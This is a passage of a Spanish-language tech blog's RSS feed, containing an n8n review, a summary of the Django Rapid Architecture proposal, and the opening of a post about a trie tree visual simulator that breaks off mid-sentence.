class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/python-vs-javascript-cual-es-el-mejor-para-ti/&#34;&gt;Javascript y/o Python&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Probablemente con eso tengas cubierto lo mínimo para empezar a complicarlo. Además te advierto, n8n es una herramienta de automatización. No vas a crear el siguiente unicornio con ella, y ni siquiera he hablado de lo restrictivo de su licencia.&lt;/p&gt;&#xA;&lt;h2 id=&#34;lo-que-mas-me-gusto-de-n8n&#34;&gt;Lo que más me gustó de n8n&lt;/h2&gt;&#xA;&lt;h3 id=&#34;gran-cantidad-de-funcionalidades-listas-para-usar&#34;&gt;Gran cantidad de funcionalidades listas para usar&lt;/h3&gt;&#xA;&lt;p&gt;Sin duda, lo mejor es la &lt;strong&gt;facilidad para crear automatizaciones sencillas&lt;/strong&gt;. La parte visual es genial, pero el verdadero valor está en que muchos servicios ya vienen &amp;ldquo;pre-configurados&amp;rdquo;. Te olvidas de tener que lidiar con llamadas a APIs complejas o instalar SDKs específicos de cada plataforma, la mayoría de los casos ya están cubiertos. Simplemente te concentras en la lógica de tu flujo y en pegar las claves API necesarias. La curva de aprendizaje es muy amigable.&lt;/p&gt;&#xA;&lt;h3 id=&#34;n8n-es-perfecto-para-probar-ideas&#34;&gt;N8n es perfecto para probar ideas&lt;/h3&gt;&#xA;&lt;p&gt;N8n es la herramienta de prueba definitiva, ya que permite probar ideas de automatización en un tiempo récord, de forma fácil y más visual, incluso sin tener experiencia previa en programación.&lt;/p&gt;&#xA;&lt;h3 id=&#34;facil-de-respaldar-y-replicar&#34;&gt;Fácil de respaldar y replicar&lt;/h3&gt;&#xA;&lt;p&gt;El &lt;strong&gt;sistema de plantillas JSON&lt;/strong&gt; también me parece una gran característica. Poder compartir un flujo complejo con un compañero sin que este necesite el mismo nivel de conocimientos técnicos agiliza enormemente el trabajo en equipo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;lo-que-no-me-termino-de-convencer-de-n8n&#34;&gt;Lo que no me terminó de convencer de n8n&lt;/h2&gt;&#xA;&lt;h3 id=&#34;alto-consumo-de-recursos&#34;&gt;Alto consumo de recursos&lt;/h3&gt;&#xA;&lt;p&gt;Pero no todo es perfecto. El principal &amp;ldquo;pero&amp;rdquo; que le encuentro es el excesivo &lt;strong&gt;consumo de recursos&lt;/strong&gt;. El cual es, desde mi punto de vista, bastante exagerado. Las recomendaciones oficiales piden nada menos que &lt;strong&gt;4 GB de RAM, 2 CPUs y 20 GB de espacio en SSD&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Puedo entender que por debajo hay un servidor y una infraestructura corriendo, montón de SDKs instalados, pero para lo que básicamente es un gestor de flujos, me parece una barbaridad. Estoy seguro de que los mismos scripts en Python o JavaScript que ejecutan esas automatizaciones funcionarían con menos de la mitad de estos requisitos.&lt;/p&gt;&#xA;&lt;p&gt;Considera que probablemente la mayoría de empresas pequeñas estén ejecutando unos 5-10 flujos, un VPS de 4GB de RAM y 2 CPUs para ejecutar 10 scripts&amp;hellip; no me convence al cien, sobre todo para startup minimalistas con recursos muy limitados.&lt;/p&gt;&#xA;&lt;p&gt;Mira la cantidad de recursos que usa n8n comparado con una aplicación sencilla de Nextjs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1779208913/coffee-bytes/n8n-memory-consumption-vs-nextjs_rcff0d.png&#34; aria-label=&#34;Comparación de memoria usando n8n y nextjs&#34;&gt;&#xA;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1779208913/coffee-bytes/n8n-memory-consumption-vs-nextjs_rcff0d.png&#34; alt=&#34;Comparación de memoria usando n8n y nextjs&#34;/&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;actualizacion-manual&#34;&gt;Actualización manual&lt;/h3&gt;&#xA;&lt;p&gt;Otro aspecto que no encuentro atractivo es que n8n requiere actualización manual, es necesario entrar a la terminal, y actualizar el paquete, reiniciar los servicios. Sí, es cierto, puedes programar esta actualización pero corres el riesgo de que si n8n rompe algo, tu aplicación fallará de un día para otro y no sabrías ni porque.&lt;/p&gt;&#xA;&lt;h3 id=&#34;se-sobreestiman-las-capacidades-de-n8n&#34;&gt;Se sobreestiman las capacidades de n8n&lt;/h3&gt;&#xA;&lt;p&gt;Quizás debido al excelente marketing, las personas creen que n8n es una navaja suiza que reemplaza el código por completo y entonces se crean expectativas irrealistas. No, n8n no puede servirte la misma cantidad de peticiones que un servidor dedicado en Rust, Go o cualquier otro lenguaje de bajo nivel. No, n8n no es un web scrapper para scrappear concurrentemente todos los productos de los más grandes e-commerces.&lt;/p&gt;&#xA;&lt;p&gt;N8n es bueno para automatizar tareas por gente no técnica, es todo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-licencia-de-n8n-es-mas-restrictiva-de-lo-que-la-gente-cree&#34;&gt;La licencia de n8n es más restrictiva de lo que la gente cree&lt;/h3&gt;&#xA;&lt;p&gt;El otro punto que me genera reservas es el tema de la &lt;strong&gt;licencia&lt;/strong&gt;. A diferencia de muchos proyectos open source populares, &lt;strong&gt;n8n no usa una licencia MIT&lt;/strong&gt;. Esto, en la práctica, limita un poco lo que puedes hacer con él. Por ejemplo, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/n8n/comments/1mo4a5h/what_youre_selling_is_illegal_n8n_license/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;de acuerdo a usuarios de reddit, no está permitido alojar una instancia de n8n para cobrar a clientes por mantener sus flujos funcionando&lt;/a&gt;&#xA; (un modelo de &amp;ldquo;automatización como servicio&amp;rdquo;).&lt;/p&gt;&#xA;&lt;p&gt;Lo que sí puedes hacer es ofrecer servicios de consultoría o implementación, pero no un hosting directo. Entiendo que un proyecto tan ambicioso requiere un modelo de negocio sostenible, pero es una restricción a tener en cuenta si buscas la máxima libertad.&lt;/p&gt;&#xA;&lt;p&gt;Esto lo tomé de un post de reddit, no es ningún tipo de consejo legal y tómalo con pinzas:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;✅ What you CAN do&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Use it internally within your own business for free.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Build automations for clients using their own n8n installation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Charge for workflow creation, setup, and maintenance, but NOT for hosting or “selling n8n as a service.”&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;🚫 What you CANNOT do&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Offer n8n as SaaS (Software as a Service).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Do white labeling (remove n8n branding and replace it with your own).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Charge customers to use “your” hosted instance of n8n.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Antes de creer a ciegas, asegúrate de  consultar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.n8n.io/sustainable-use-license/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la licencia oficial de n8n&lt;/a&gt;&#xA; aquí.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Llevo ya un tiempo utilizando &lt;strong&gt;n8n&lt;/strong&gt; para automatizar procesos en páginas de Facebook, sitios webs, whatsApp y, combinándolo con otras herramientas. Después de este tiempo de uso, creo que ya puedo compartir una visión un poco más clara de lo que ofrece esta herramienta y si realmente vale la pena.&lt;/p&gt;&#xA;&lt;p&gt;Si has vivido debajo de una roca o eres nuevo en el mundo de la tecnología, n8n es una herramienta de automatización bastante popular. Su principal atractivo es que te permite crear flujos de trabajo complejos de una manera muy visual: adios líneas de código, hola nodos; aquí solo tienes que arrastrar y soltar recuadros sobre un lienzo y conectarlos entre ellos.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Te explico en que consiste la Django Rapid Architecture</title>
      <link>https://coffeebytes.dev/es/te-explico-en-que-consiste-la-django-rapid-architecture/</link>
      <pubDate>Mon, 15 Dec 2025 22:16:00 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/te-explico-en-que-consiste-la-django-rapid-architecture/</guid>
      
      <category>Django</category>
      
      <category>Software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El otro día estaba navegando por Reddit y encontré una propuesta de arquitectura para proyectos Django llamada &amp;ldquo;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/django/comments/1pko7q6/django_rapid_architecture_a_guide_to_structuring/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Rapid Architecture&lt;/a&gt;&#xA;&amp;rdquo;. Es un documento corto con algunas pautas o principios. Como me gusta Django, y creo que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django es una de las mejores herramientas disponibles y que deberías usarlo&lt;/a&gt;&#xA;, lo leí y te hice un resumen.&lt;/p&gt;&#xA;&lt;p&gt;Django Rapid Architecture es una colección de patrones y modismos cuidadosamente seleccionados. Su objetivo es crear bases de código Django mantenibles. El autor afirma que se basa en más de 15 años de experiencia y más de 100 proyectos en producción.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-tiene-de-malo-la-arquitectura-por-defecto-de-django&#34;&gt;¿Qué tiene de malo la arquitectura por defecto de Django?&lt;/h2&gt;&#xA;&lt;p&gt;Bueno, según el autor: las &amp;ldquo;apps&amp;rdquo; de Django están diseñadas para componentes reutilizables, no para lógica de negocio específica del proyecto. Forzar todo el código dentro de apps crea inflexibilidad: las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/tutorial-de-migraciones-en-go-con-migrate/&#34;&gt;Migraciones&lt;/a&gt;&#xA; hacen que las decisiones de límites tempranos sean irreversibles, lo que dificulta el refactor necesario en proyectos dinámicos.&lt;/p&gt;&#xA;&lt;p&gt;Además, las apps prefieren el &amp;ldquo;encapsulado vertical&amp;rdquo;, que agrupa vistas y modelos por funcionalidades. Para sistemas reales con dominios de negocio e interfaces interconectadas, esto no es ideal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-estructurar-proyectos-segun-django-rapid-architecture&#34;&gt;¿Cómo estructurar proyectos según Django Rapid Architecture?&lt;/h3&gt;&#xA;&lt;p&gt;En lugar de usar el paradigma por defecto de Django, estructura por capas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mantén separados los datos (modelos/migraciones)&lt;/li&gt;&#xA;&lt;li&gt;las interfaces (vistas HTTP/Management commands)&lt;/li&gt;&#xA;&lt;li&gt;y la lógica de negocio (readers/actions).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765860078/coffee-bytes/django-rapid-architecture_dpxnza.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765860078/coffee-bytes/django-rapid-architecture_dpxnza.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django rapid architecture overview&#34; width=&#34;747&#34; height=&#34;747&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Este &amp;ldquo;encapsulado horizontal&amp;rdquo; se alinea con la estratificación natural de Django, evita decisiones arquitectónicas tempranas que te aten y modela mejor dominios complejos.&lt;/p&gt;&#xA;&lt;h4 id=&#34;recuerda-que-django-es-un-monolito&#34;&gt;Recuerda que Django es un monolito&lt;/h4&gt;&#xA;&lt;p&gt;El autor habla de que deberíamos abrazar los monolitos al principio, ya que son menos complejos y más mantenibles que los microservicios, y estoy totalmente de acuerdo: introducir complejidad innecesaria solo por hacerlo no te permite iterar lo suficientemente rápido, lo cual es crucial en un entorno que cambia tan rápido.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-se-ve-la-estructura-de-archivos-en-django-rapid-architecture&#34;&gt;¿Cómo se ve la estructura de archivos en Django Rapid Architecture?&lt;/h3&gt;&#xA;&lt;p&gt;¿Y cómo se ve esto en la práctica? Pues algo así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── actions&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── some_domain.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── migrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   ├── 0001_initial.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       └── some_model.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── interfaces&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── management_commands&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   └── management&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │       └── commands&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │           └── some_management_command.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── http&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── api&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       │   ├── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       │   └── views.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       └── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── readers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── some_domain.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── settings.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── wsgi.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La clave aquí es recordar que el código se divide en actions, datos, interfaces y readers.&lt;/p&gt;&#xA;&lt;h2 id=&#34;capas-en-django-rapid-architecture&#34;&gt;Capas en Django Rapid Architecture&lt;/h2&gt;&#xA;&lt;h3 id=&#34;como-manejar-los-datos&#34;&gt;¿Cómo manejar los datos?&lt;/h3&gt;&#xA;&lt;h4 id=&#34;que-hacer-con-los-modelos&#34;&gt;¿Qué hacer con los modelos?&lt;/h4&gt;&#xA;&lt;p&gt;Pon todos los modelos, sí, todos, dentro de una sola app llamada &lt;code&gt;data&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Evita modelos ultra grandes y complejos con muchos métodos; la lógica compleja debería ser independiente de los modelos.&lt;/p&gt;&#xA;&lt;p&gt;Evita la herencia que no sea la de &lt;code&gt;Model&lt;/code&gt; de Django, así cualquier desarrollador puede ver el modelo y entender qué hace.&lt;/p&gt;&#xA;&lt;h3 id=&#34;y-la-logica-de-negocio&#34;&gt;¿Y la lógica de negocio?&lt;/h3&gt;&#xA;&lt;p&gt;El código de lógica de negocio debería vivir en funciones simples con interfaces bien definidas, que operen sobre instancias de modelos, querysets o valores simples. Evita herencia compleja, mixins, decoradores, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/managers-o-manejadores-personalizados-en-django/&#34;&gt;managers personalizados complejos&lt;/a&gt;&#xA; a menos que sea absolutamente necesario.&lt;/p&gt;&#xA;&lt;h4 id=&#34;como-lidiar-con-los-readers&#34;&gt;¿Cómo lidiar con los readers?&lt;/h4&gt;&#xA;&lt;p&gt;Servir una respuesta en Django implica tres partes clave:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;La consulta&lt;/strong&gt;: se construye en la vista usando un queryset. Define qué filas/columnas traer, aplicando filtros, joins y optimizaciones. Algo de lógica puede estar en querysets personalizados.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Los valores&lt;/strong&gt;: los datos que se enviarán. Los valores básicos vienen de los campos del modelo. La lógica de negocio compleja suele vivir aquí, en métodos del modelo (por ejemplo, &lt;code&gt;get_absolute_url&lt;/code&gt;), transformando datos en bruto en valores útiles para la respuesta.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;La proyección&lt;/strong&gt;: la forma final de los datos para el cliente. Para una API JSON, es la serialización en un dict/list. Para HTML, es el renderizado de plantillas. Ambos usan los valores del paso 2. Aquí decides el formato exacto de salida.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h4 id=&#34;tipos-de-funciones-en-readers&#34;&gt;Tipos de funciones en readers&lt;/h4&gt;&#xA;&lt;p&gt;Estoy simplificando esto; hay montones de ejemplos en el documento original, que te recomiendo leer a fondo. Pero los principales tipos de funciones para extraer y transformar datos de un modelo son:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Funciones de queryset&lt;/strong&gt;: encapsulan construcciones de querysets. Usa composición y funciones de orden superior.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Funciones productoras&lt;/strong&gt;: generan valores a partir de instancias de modelos, funciones que reciben una instancia y devuelven algo.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Funciones proyectores&lt;/strong&gt;: se basan en productores, devuelven un diccionario que mapea uno o más nombres a uno o más valores.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;actions&#34;&gt;actions&lt;/h4&gt;&#xA;&lt;p&gt;Las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;APIs REST&lt;/a&gt;&#xA; son complejas y no uniformes. Por eso deberíamos olvidarnos de todos los verbos HTTP secundarios y quedarnos solo con POST y GET.&lt;/p&gt;&#xA;&lt;p&gt;Además, deberíamos asegurarnos de que una sola URL se mapee a una sola vista, que responda solo a GET o POST, no a ambas. Esto es algo similar al paradigma de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/&#34;&gt;RPC y gRPC&lt;/a&gt;&#xA;, del que ya hablé antes.&lt;/p&gt;&#xA;&lt;h3 id=&#34;interfaces&#34;&gt;Interfaces&lt;/h3&gt;&#xA;&lt;h4 id=&#34;ssr-con-plantillas-de-django-es-lo-mejor&#34;&gt;SSR con plantillas de Django es lo mejor&lt;/h4&gt;&#xA;&lt;p&gt;Generar HTML en el servidor en lugar de usar una API con React puede aumentar la productividad. Se recomienda usar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-y-htmx-web-apps-modernas-sin-escribir-js/&#34;&gt;HTMX combinado con Django&lt;/a&gt;&#xA;; el documento también considera este enfoque superior a usar React.&lt;/p&gt;&#xA;&lt;h4 id=&#34;anida-interfaces-para-evitar-complejidad&#34;&gt;Anida interfaces para evitar complejidad&lt;/h4&gt;&#xA;&lt;p&gt;Puedes organizar tu código para que imite la jerarquía de segmentos de tus URLs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/api/urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/api/admin/urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/api/admin/widgets/urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/interfaces/http/api/admin/widgets/views.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;management-commands&#34;&gt;Management commands&lt;/h4&gt;&#xA;&lt;p&gt;Los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/como-crear-un-comando-en-django/&#34;&gt;Django Management commands&lt;/a&gt;&#xA; también son una interfaz y deberían tratarse de forma similar a las vistas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donde-puedo-aprender-mas-sobre-django-rapid-architecture&#34;&gt;¿Dónde puedo aprender más sobre Django Rapid Architecture?&lt;/h2&gt;&#xA;&lt;p&gt;Recuerda que este texto es solo un resumen con las ideas principales; si quieres profundizar en esta propuesta de arquitectura llamada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-rapid-architecture.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Rapid Architecture&lt;/a&gt;&#xA;, lee el documento original. Te prometo que es corto, solo de unas pocas páginas, con algunos ejemplos más y la justificación de algunas decisiones.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El otro día estaba navegando por Reddit y encontré una propuesta de arquitectura para proyectos Django llamada &amp;ldquo;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/django/comments/1pko7q6/django_rapid_architecture_a_guide_to_structuring/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Rapid Architecture&lt;/a&gt;&#xA;&amp;rdquo;. Es un documento corto con algunas pautas o principios. Como me gusta Django, y creo que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django es una de las mejores herramientas disponibles y que deberías usarlo&lt;/a&gt;&#xA;, lo leí y te hice un resumen.&lt;/p&gt;&#xA;&lt;p&gt;Django Rapid Architecture es una colección de patrones y modismos cuidadosamente seleccionados. Su objetivo es crear bases de código Django mantenibles. El autor afirma que se basa en más de 15 años de experiencia y más de 100 proyectos en producción.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Cree Un Simulador Visual De Un Trie Tree</title>
      <link>https://coffeebytes.dev/es/software-architecture/cree-un-simulador-visual-de-un-trie-tree/</link>
      <pubDate>Sun, 21 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/cree-un-simulador-visual-de-un-trie-tree/</guid>
      
      <category>software architecture</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El otro día estaba leyendo la segunda parte de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4nsgK0V&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;System Design Interview&lt;/a&gt;&#xA;, ¿o era la primera? y recuerdo que el autor usaba un trie tree para diseñar un buscador con autocompletado estilo Google. Nunca había escuchado de esa estructura de datos, así que decidí crear un simulador visual para que lo entiendas más rápido y mejor.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757735868/coffee-bytes/google-suggestion-trie-tree_n7a45w.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757735868/coffee-bytes/google-suggestion-trie-tree_n7a45w.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Google search suggestion using a trie tree&#34; width=&#34;911&#34; height=&#34;427&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Además de su uso más común: sugerencias de text, también puedes encontrar trie trees en coincidencia de secuencias de ADN en bioinformática, en ruteo de comandos en CLIs, compiladores y detección de patrones en seguridad, por mencionar solo algunos casos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;trie-trees-la-estructura-de-datos-que-piensa-en-prefijos&#34;&gt;Trie Trees: La estructura de datos que piensa en prefijos&lt;/h2&gt;&#xA;&lt;p&gt;Cuando trabajas con strings en programación—ya sea autocompletado, sugerencias de búsqueda (como ya mencioné) o incluso diccionarios—tarde o temprano te toparás con algo llamado &lt;strong&gt;Trie Tree&lt;/strong&gt;. El nombre puede sonar rimbombante, pero la idea es bastante sencilla una vez que la entiendes.&lt;/p&gt;&#xA;&lt;p&gt;Vamos a ver en qué se diferencia de un árbol binario, para qué sirve y en qué situaciones simplemente apesta.&lt;/p&gt;&#xA;&lt;div id=&#34;app-trie-simulator&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&lt;h2 id=&#34;entonces-que-es-exactamente-un-trie-tree&#34;&gt;Entonces, ¿qué es exactamente un Trie Tree?&lt;/h2&gt;&#xA;&lt;p&gt;Un &lt;strong&gt;Trie&lt;/strong&gt; (se pronuncia en inglés igual a &amp;ldquo;try&amp;rdquo;) es un tipo especial de árbol que guarda strings por sus prefijos. En lugar de almacenar palabras completas en cada nodo, cada nivel del árbol representa solo un carácter. Si sigues un camino desde la raíz hasta un nodo, básicamente estás trazando un prefijo.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo, almacenar &amp;ldquo;cat&amp;rdquo; y &amp;ldquo;car&amp;rdquo; compartiría los dos primeros pasos (&amp;ldquo;c&amp;rdquo; → &amp;ldquo;a&amp;rdquo;), y luego se separan en la &amp;ldquo;t&amp;rdquo; y la &amp;ldquo;r&amp;rdquo;. Es como organizar palabras no por la cadena completa, sino por sus prefijos en común. Como los morfemas, que sirven de base para variaciones de palabras.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo 